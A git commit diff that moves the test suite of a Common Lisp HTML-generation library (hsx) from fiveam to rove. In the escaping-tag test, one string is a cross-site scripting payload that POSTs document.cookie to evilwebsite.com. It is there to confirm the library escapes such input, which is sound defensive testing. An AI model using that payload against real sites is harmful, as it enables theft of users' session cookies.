Migrate testing framework from fiveam to rove (#18)
* Migrate testing framework from fiveam to rove * Fix qlfile
This commit is contained in:
GitHub
parent
5945e52207
commit
a071924927
8 changed files with 185 additions and 231 deletions
|
|
@ -1,145 +1,143 @@
|
|||
(defpackage #:hsx-test/element
|
||||
(:use #:cl
|
||||
#:fiveam
|
||||
#:rove
|
||||
#:hsx/element)
|
||||
(:import-from #:named-readtables
|
||||
#:in-readtable)
|
||||
(:import-from #:mstrings
|
||||
#:mstring-syntax))
|
||||
(in-package #:hsx-test/element)
|
||||
|
||||
(in-readtable mstring-syntax)
|
||||
|
||||
(def-suite element-test)
|
||||
(in-suite element-test)
|
||||
(deftest tag-test
|
||||
(testing "element-class"
|
||||
(ok (typep (create-element :div nil nil) 'tag))
|
||||
(ok (typep (create-element :html nil nil) 'html-tag))
|
||||
(ok (typep (create-element :img nil nil) 'self-closing-tag))
|
||||
(ok (typep (create-element :style nil nil) 'non-escaping-tag))
|
||||
(ok (typep (create-element :<> nil nil) 'fragment))
|
||||
(ok (typep (create-element (lambda ()) nil nil) 'component))
|
||||
(ok (signals (create-element "div" nil nil))))
|
||||
|
||||
(test element-class
|
||||
(is (typep (create-element :div nil nil) 'tag))
|
||||
(is (typep (create-element :html nil nil) 'html-tag))
|
||||
(is (typep (create-element :img nil nil) 'self-closing-tag))
|
||||
(is (typep (create-element :style nil nil) 'non-escaping-tag))
|
||||
(is (typep (create-element :<> nil nil) 'fragment))
|
||||
(is (typep (create-element (lambda ()) nil nil) 'component))
|
||||
(signals error (create-element "div" nil nil)))
|
||||
|
||||
(test flatten-children
|
||||
(let* ((elm (create-element :p
|
||||
nil
|
||||
(list "a"
|
||||
nil
|
||||
(list "b" (list nil "c"))
|
||||
(cons "d" "e")))))
|
||||
(is (equal (list "a" "b" "c" "d" "e") (element-children elm)))))
|
||||
|
||||
(test empty-element
|
||||
(is (string= "<div></div>"
|
||||
(render-to-string (create-element :div nil nil)))))
|
||||
|
||||
(test element-with-props
|
||||
(is (string= "<div prop1=\"value1\" prop2></div>"
|
||||
(render-to-string (create-element :div
|
||||
(list :prop1 "value1"
|
||||
:prop2 t
|
||||
:prop3 nil)
|
||||
nil)))))
|
||||
|
||||
(test element-with-children
|
||||
(is (string= "<p>foo</p>"
|
||||
(render-to-string (create-element :p
|
||||
nil
|
||||
(list "foo"))
|
||||
:pretty t)))
|
||||
(is (string= #M"<p>
|
||||
(testing "flatten-children"
|
||||
(let* ((elm (create-element :p
|
||||
nil
|
||||
(list "a"
|
||||
nil
|
||||
(list "b" (list nil "c"))
|
||||
(cons "d" "e")))))
|
||||
(ok (equal (list "a" "b" "c" "d" "e") (element-children elm)))))
|
||||
|
||||
(testing "empty-element"
|
||||
(ok (string= "<div></div>"
|
||||
(render-to-string (create-element :div nil nil)))))
|
||||
|
||||
(testing "element-with-props"
|
||||
(ok (string= "<div prop1=\"value1\" prop2></div>"
|
||||
(render-to-string (create-element :div
|
||||
(list :prop1 "value1"
|
||||
:prop2 t
|
||||
:prop3 nil)
|
||||
nil)))))
|
||||
|
||||
(testing "element-with-children"
|
||||
(ok (string= "<p>foo</p>"
|
||||
(render-to-string (create-element :p
|
||||
nil
|
||||
(list "foo"))
|
||||
:pretty t)))
|
||||
(ok (string= #M"<p>
|
||||
\ <span>foo</span>
|
||||
</p>"
|
||||
(render-to-string (create-element :p
|
||||
nil
|
||||
(list (create-element :span
|
||||
nil
|
||||
(list "foo"))))
|
||||
:pretty t)))
|
||||
(is (string= #M"<p>
|
||||
(render-to-string (create-element :p
|
||||
nil
|
||||
(list (create-element :span
|
||||
nil
|
||||
(list "foo"))))
|
||||
:pretty t)))
|
||||
(ok (string= #M"<p>
|
||||
\ foo
|
||||
\ <span>bar</span>
|
||||
</p>"
|
||||
(render-to-string (create-element :p
|
||||
nil
|
||||
(list "foo"
|
||||
(create-element :span
|
||||
nil
|
||||
(list "bar"))))
|
||||
:pretty t))))
|
||||
(render-to-string (create-element :p
|
||||
nil
|
||||
(list "foo"
|
||||
(create-element :span
|
||||
nil
|
||||
(list "bar"))))
|
||||
:pretty t))))
|
||||
|
||||
(test element-with-props-and-children
|
||||
(is (string= "<p prop1=\"value1\" prop2>foo</p>"
|
||||
(render-to-string (create-element :p
|
||||
(list :prop1 "value1"
|
||||
:prop2 t
|
||||
:prop3 nil)
|
||||
(list "foo"))
|
||||
:pretty t)))
|
||||
(is (string= #M"<p prop1=\"value1\" prop2>
|
||||
(testing "element-with-props-and-children"
|
||||
(ok (string= "<p prop1=\"value1\" prop2>foo</p>"
|
||||
(render-to-string (create-element :p
|
||||
(list :prop1 "value1"
|
||||
:prop2 t
|
||||
:prop3 nil)
|
||||
(list "foo"))
|
||||
:pretty t)))
|
||||
(ok (string= #M"<p prop1=\"value1\" prop2>
|
||||
\ foo
|
||||
\ <span>bar</span>
|
||||
</p>"
|
||||
(render-to-string (create-element :p
|
||||
(list :prop1 "value1"
|
||||
:prop2 t
|
||||
:prop3 nil)
|
||||
(list "foo"
|
||||
(create-element :span
|
||||
nil
|
||||
"bar")))
|
||||
:pretty t))))
|
||||
|
||||
(test self-closing-tag
|
||||
(is (string= "<img src=\"/background.png\">"
|
||||
(render-to-string (create-element :img
|
||||
(list :src "/background.png")
|
||||
nil)
|
||||
:pretty t))))
|
||||
|
||||
(test escaping-tag
|
||||
(is (string= "<div><script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script></div>"
|
||||
(render-to-string
|
||||
(create-element :div
|
||||
nil
|
||||
(list "<script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script>"))))))
|
||||
|
||||
(test non-escaping-tag
|
||||
(is (string= "<script>alert('<< Do not embed user-generated contents here! >>')</script>"
|
||||
(render-to-string
|
||||
(create-element :script
|
||||
nil
|
||||
"alert('<< Do not embed user-generated contents here! >>')")))))
|
||||
|
||||
(test fragment
|
||||
(let ((frg (create-element :<>
|
||||
nil
|
||||
(list (create-element :li
|
||||
nil
|
||||
(list "bar"))
|
||||
(create-element :li
|
||||
nil
|
||||
(list "baz"))))))
|
||||
(is (string= #M"<li>bar</li>
|
||||
(render-to-string (create-element :p
|
||||
(list :prop1 "value1"
|
||||
:prop2 t
|
||||
:prop3 nil)
|
||||
(list "foo"
|
||||
(create-element :span
|
||||
nil
|
||||
"bar")))
|
||||
:pretty t))))
|
||||
(testing "self-closing-tag"
|
||||
(ok (string= "<img src=\"/background.png\">"
|
||||
(render-to-string (create-element :img
|
||||
(list :src "/background.png")
|
||||
nil)
|
||||
:pretty t))))
|
||||
|
||||
(testing "escaping-tag"
|
||||
(ok (string= "<div><script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script></div>"
|
||||
(render-to-string
|
||||
(create-element :div
|
||||
nil
|
||||
(list "<script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script>"))))))
|
||||
|
||||
(testing "non-escaping-tag"
|
||||
(ok (string= "<script>alert('<< Do not embed user-generated contents here! >>')</script>"
|
||||
(render-to-string
|
||||
(create-element :script
|
||||
nil
|
||||
"alert('<< Do not embed user-generated contents here! >>')")))))
|
||||
|
||||
(testing "fragment"
|
||||
(let ((frg (create-element :<>
|
||||
nil
|
||||
(list (create-element :li
|
||||
nil
|
||||
(list "bar"))
|
||||
(create-element :li
|
||||
nil
|
||||
(list "baz"))))))
|
||||
(ok (string= #M"<li>bar</li>
|
||||
<li>baz</li>"
|
||||
(render-to-string frg :pretty t)))
|
||||
(is (string= #M"<ul>
|
||||
(render-to-string frg :pretty t)))
|
||||
(ok (string= #M"<ul>
|
||||
\ <li>foo</li>
|
||||
\ <li>bar</li>
|
||||
\ <li>baz</li>
|
||||
\ <li>brah</li>
|
||||
</ul>"
|
||||
(render-to-string (create-element :ul
|
||||
nil
|
||||
(list (create-element :li
|
||||
nil
|
||||
(list "foo"))
|
||||
frg
|
||||
(create-element :li
|
||||
nil
|
||||
(list "brah"))))
|
||||
:pretty t)))))
|
||||
(render-to-string (create-element :ul
|
||||
nil
|
||||
(list (create-element :li
|
||||
nil
|
||||
(list "foo"))
|
||||
frg
|
||||
(create-element :li
|
||||
nil
|
||||
(list "brah"))))
|
||||
:pretty t))))))
|
||||
|
||||
(defun comp1 (&key prop children)
|
||||
(create-element :div
|
||||
|
|
@ -147,26 +145,12 @@
|
|||
(list prop
|
||||
children)))
|
||||
|
||||
(test component-accepting-keyword-args
|
||||
(let ((elm (expand-component (create-element #'comp1
|
||||
'(:prop "value")
|
||||
(list "child")))))
|
||||
(is (eq :div (element-type elm)))
|
||||
(is (equal (list "value" "child") (element-children elm)))))
|
||||
|
||||
(defun comp2 (&rest props)
|
||||
(create-element :div
|
||||
nil
|
||||
(list (getf props :prop)
|
||||
(getf props :children))))
|
||||
|
||||
(test component-accepting-property-list
|
||||
(let ((elm (expand-component (create-element #'comp2
|
||||
'(:prop "value")
|
||||
(list "child")))))
|
||||
(is (eq :div (element-type elm)))
|
||||
(is (equal (list "value" "child") (element-children elm)))))
|
||||
|
||||
(defun comp3 (&rest props &key prop children &allow-other-keys)
|
||||
(create-element :div
|
||||
nil
|
||||
|
|
@ -174,9 +158,24 @@
|
|||
children
|
||||
(getf props :other-key))))
|
||||
|
||||
(test component-accepting-keyword-args-and-property-list
|
||||
(let ((elm (expand-component (create-element #'comp3
|
||||
'(:prop "value" :other-key "other")
|
||||
(list "child")))))
|
||||
(is (eq :div (element-type elm)))
|
||||
(is (equal (list "value" "child" "other") (element-children elm)))))
|
||||
(deftest component-test
|
||||
(testing "component-accepting-keyword-args"
|
||||
(let ((elm (expand-component (create-element #'comp1
|
||||
'(:prop "value")
|
||||
(list "child")))))
|
||||
(ok (eq :div (element-type elm)))
|
||||
(ok (equal (list "value" "child") (element-children elm)))))
|
||||
|
||||
(testing "component-accepting-property-list"
|
||||
(let ((elm (expand-component (create-element #'comp2
|
||||
'(:prop "value")
|
||||
(list "child")))))
|
||||
(ok (eq :div (element-type elm)))
|
||||
(ok (equal (list "value" "child") (element-children elm)))))
|
||||
|
||||
(testing "component-accepting-keyword-args-and-property-list"
|
||||
(let ((elm (expand-component (create-element #'comp3
|
||||
'(:prop "value" :other-key "other")
|
||||
(list "child")))))
|
||||
(ok (eq :div (element-type elm)))
|
||||
(ok (equal (list "value" "child" "other") (element-children elm))))))
|
||||
|
|
|
|||
|
|
@ -1,16 +1,14 @@
|
|||
(defpackage #:hsx-test/escaper
|
||||
(:use #:cl
|
||||
#:fiveam
|
||||
#:rove
|
||||
#:hsx/escaper))
|
||||
(in-package #:hsx-test/escaper)
|
||||
|
||||
(def-suite escaper-test)
|
||||
(in-suite escaper-test)
|
||||
|
||||
(test escape-html-attribute
|
||||
(is (equal ""foo""
|
||||
(escape-html-attribute "\"foo\""))))
|
||||
|
||||
(test escape-html-text-content
|
||||
(is (string= "&<>"'/`="
|
||||
(escape-html-text-content "&<>\"'/`="))))
|
||||
(deftest escaper-test
|
||||
(testing "escape-html-attribute"
|
||||
(ok (string= ""foo""
|
||||
(escape-html-attribute "\"foo\""))))
|
||||
|
||||
(testing "escape-html-text-content"
|
||||
(ok (string= "&<>"'/`="
|
||||
(escape-html-text-content "&<>\"'/`=")))))
|
||||
|
|
|
|||
|
|
@ -1,16 +1,14 @@
|
|||
(defpackage #:hsx-test/group
|
||||
(:use #:cl
|
||||
#:fiveam
|
||||
#:rove
|
||||
#:hsx/group))
|
||||
(in-package #:hsx-test/group)
|
||||
|
||||
(def-suite group-test)
|
||||
(in-suite group-test)
|
||||
|
||||
(defgroup fruit
|
||||
apple banana orange)
|
||||
|
||||
(test defgroup
|
||||
(is (hash-table-p *fruit*))
|
||||
(is (fruit-p :apple))
|
||||
(is (not (fruit-p :tomato))))
|
||||
(deftest group-test
|
||||
(testing "defgroup"
|
||||
(ok (hash-table-p *fruit*))
|
||||
(ok (fruit-p :apple))
|
||||
(ng (fruit-p :tomato))))
|
||||
|
|
|
|||
|
|
@ -1,6 +1,6 @@
|
|||
(defpackage #:hsx-test/hsx
|
||||
(:use #:cl
|
||||
#:fiveam
|
||||
#:rove
|
||||
#:hsx/hsx
|
||||
#:hsx/builtin)
|
||||
(:import-from #:hsx/element
|
||||
|
|
@ -8,62 +8,20 @@
|
|||
#:element-children))
|
||||
(in-package #:hsx-test/hsx)
|
||||
|
||||
(def-suite hsx-test)
|
||||
(in-suite hsx-test)
|
||||
|
||||
(test find-symbols
|
||||
(is (equal '(hsx/builtin:div '(:div "div")
|
||||
div
|
||||
(hsx/builtin:div
|
||||
'div
|
||||
(hsx/builtin:div)
|
||||
:div)
|
||||
"div")
|
||||
(macroexpand-1
|
||||
'(hsx (div '(:div "div")
|
||||
div
|
||||
(div
|
||||
'div
|
||||
(div)
|
||||
:div)
|
||||
"div"))))))
|
||||
|
||||
(test empty-hsx
|
||||
(let ((elm (div)))
|
||||
(is (null (element-props elm)))
|
||||
(is (null (element-children elm)))))
|
||||
|
||||
(test hsx-with-static-props
|
||||
(let ((elm (div :prop1 "value1" :prop2 "value2")))
|
||||
(is (equal '(:prop1 "value1" :prop2 "value2")
|
||||
(element-props elm)))
|
||||
(is (null (element-children elm)))))
|
||||
|
||||
(test hsx-with-dynamic-props
|
||||
(let* ((props '(:prop1 "value1" :prop2 "value2"))
|
||||
(elm (div props)))
|
||||
(is (equal props (element-props elm)))
|
||||
(is (null (element-children elm)))))
|
||||
|
||||
(test hsx-with-children
|
||||
(let ((elm (div
|
||||
"child1"
|
||||
"child2")))
|
||||
(is (null (element-props elm)))
|
||||
(is (equal (list "child1" "child2") (element-children elm)))))
|
||||
|
||||
(test hsx-with-static-props-and-children
|
||||
(let ((elm (div :prop1 "value1" :prop2 "value2"
|
||||
"child1"
|
||||
"child2")))
|
||||
(is (equal '(:prop1 "value1" :prop2 "value2")
|
||||
(element-props elm)))
|
||||
(is (equal (list "child1" "child2") (element-children elm)))))
|
||||
|
||||
(test hsx-with-dynamic-props-and-children
|
||||
(let* ((props '(:prop1 "value1" :prop2 "value2"))
|
||||
(elm (div props
|
||||
"child1"
|
||||
"child2")))
|
||||
(is (equal props (element-props elm)))
|
||||
(is (equal (list "child1" "child2") (element-children elm)))))
|
||||
(deftest hsx-test
|
||||
(testing "find-symbols"
|
||||
(ok (expands
|
||||
'(hsx (div '(:div "div")
|
||||
div
|
||||
(div
|
||||
'div
|
||||
(div)
|
||||
:div)
|
||||
"div"))
|
||||
'(hsx/builtin:div '(:div "div")
|
||||
div
|
||||
(hsx/builtin:div
|
||||
'div
|
||||
(hsx/builtin:div)
|
||||
:div)
|
||||
"div")))))
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue